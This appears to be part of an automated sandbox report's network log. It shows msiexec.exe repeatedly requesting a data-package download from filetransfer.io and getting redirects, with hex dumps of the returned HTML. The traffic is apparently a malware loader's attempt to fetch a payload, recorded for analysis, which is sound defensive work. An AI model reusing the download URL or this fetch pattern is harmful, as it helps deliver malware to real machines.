2025-01-10 19:15:01 UTC	1369	IN	Data Raw: 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 6c 65 61 73 65 20 61 64 64 20 74 68 65 20 73 Data Ascii: rt-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, please add the s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	57986	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:15:02 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:15:02 UTC	619	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:15:02 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:15:02 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xLNV1lGUZ5BP%2BCl9qRJGzGI36FY%2Bl5PClcyjvTdEwqrDmb4Iq6dCtiS54Uk4XQRStuBUH8Lonfd2fzVN9HtsU%2FIpi7Djq%2F4YFUPJlsdvr%2BxZZqQSVktn5Ntnc95C2dPLRP8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe54dc535e6b-EWR
2025-01-10 19:15:02 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	57987	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:15:03 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:15:03 UTC	944	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:15:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: TK4PcjUonqjSE6Wul0WzvtLTky/dHaLSPJq63Mkextj3yttSxBgr5X3zA202j2DfLNucHq0Zj1s= x-amz-request-id: YFQDJ2TN9JW9VEVF Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mrO841v3vp0x75s66ILd9GoPe6q3XAZuB26szGi3Hm3R25oDQOH%2BRxahxYOrWd0l0yKkM8v35qtJKgh80QlHDghE%2B8tC8Efb43ByyvenBtOX1oKedW5JvCni5cPt%2FROOcWs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe58add9de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1549&min_rtt=1533&rtt_var=608&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=798&delivery_rate=1750599&cwnd=243&unsent_bytes=0&cid=bb75514b0396ceb9&ts=197&x=0"
2025-01-10 19:15:03 UTC	425	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:15:03 UTC	1369	IN	Data Raw: 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 Data Ascii: a charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:descript
2025-01-10 19:15:03 UTC	1369	IN	Data Raw: 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 22 3e 0a 09 3c Data Ascii: ch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png"><
2025-01-10 19:15:03 UTC	1369	IN	Data Raw: 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 Data Ascii: "><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="websi
2025-01-10 19:15:03 UTC	1369	IN	Data Raw: 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 4c 65 61 76 65 Data Ascii: ing of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelistLeave
2025-01-10 19:15:03 UTC	1369	IN	Data Raw: 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 58 40 73 65 6e Data Ascii: S.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXXX@sen
2025-01-10 19:15:03 UTC	1354	IN	Data Raw: 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a Data Ascii: tch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></span>
2025-01-10 19:15:03 UTC	1369	IN	Data Raw: 32 61 32 38 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d Data Ascii: 2a28<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Frem
2025-01-10 19:15:03 UTC	1369	IN	Data Raw: 73 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 Data Ascii: s</label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="ma
2025-01-10 19:15:03 UTC	1369	IN	Data Raw: 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 Data Ascii: lass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	57988	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:15:03 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:15:04 UTC	621	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:15:04 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:15:04 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tdtf%2Bsv9iFS%2FzXJG0TILiuWj0DMEo%2B2DJE3mO5o%2B20f7GjHqh%2FMRzvAGAqddd9uoW2vWA96UCpoudCB0INZi%2B0BhIMROrLGZ3h9ppf48TF1mWRXQjyikJbjLnIMZHyyA87U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe5e18908c7e-EWR
2025-01-10 19:15:04 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	57989	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:15:04 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:15:04 UTC	944	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:15:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: 2DDrX9XPgDHQVeRCEqffGvo0JNo8J17qllqFp9i4CUj6HwvXfwHIHaqyogNIRElCkspWQ31NyKg= x-amz-request-id: 3N6XDJRE4GZ1HQDX Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ih0Bkjq7hP2h8PCeb9Z2sWTI3OPQLhdzuLH%2BgoUa7j5vjLPcVOxSY9tq5SSdViDCdVytZEuaoxGK9dJTY5ET%2BQJPgMC%2FaQ5opnUbuw5poR12mbK3RLEHngY0WWWg3cOgVTg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe628a4c728c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1897&min_rtt=1850&rtt_var=727&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1578378&cwnd=166&unsent_bytes=0&cid=3e80fb75f31b9259&ts=211&x=0"
2025-01-10 19:15:04 UTC	1369	IN	Data Raw: 32 63 61 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 2cad<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:15:04 UTC	1369	IN	Data Raw: 6e 22 20 73 69 7a 65 73 3d 22 31 36 30 78 31 36 30 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 36 30 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 39 36 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 Data Ascii: n" sizes="160x160" href="/img/favicon/160.png"><link rel="apple-touch-icon" sizes="192x192" href="/img/favicon/192.png"><link rel="apple-touch-icon-precomposed" sizes="96x96" href="/img/favicon/solid/96.png"><link rel="apple-touch-icon-precompose
2025-01-10 19:15:04 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 43 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 49 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 34 34 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 37 30 78 37 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 74 69 Data Ascii: <meta name="application-name" content="FileTransfer.io"><meta name="msapplication-TileColor" content="#000000"><meta name="msapplication-TileImage" content="/img/favicon/144.png"><meta name="msapplication-square70x70logo" content="/img/favicon/ms/ti
2025-01-10 19:15:04 UTC	1369	IN	Data Raw: 75 74 73 20 3d 20 7b 7d 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 74 61 67 69 6e 70 75 74 20 3d 20 22 53 65 70 61 72 61 74 65 20 77 69 74 68 20 61 20 63 6f 6d 6d 61 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 4c 6f 61 64 69 6e 67 20 3d 20 22 50 6c 65 61 73 65 20 77 61 69 74 e2 80 a6 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 43 6c 6f 73 65 20 3d 20 22 43 6c 6f 73 65 20 28 45 53 43 29 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 65 6d 61 69 6c 52 65 71 75 69 72 65 64 20 3d 20 22 50 6c 65 61 73 65 20 65 6e 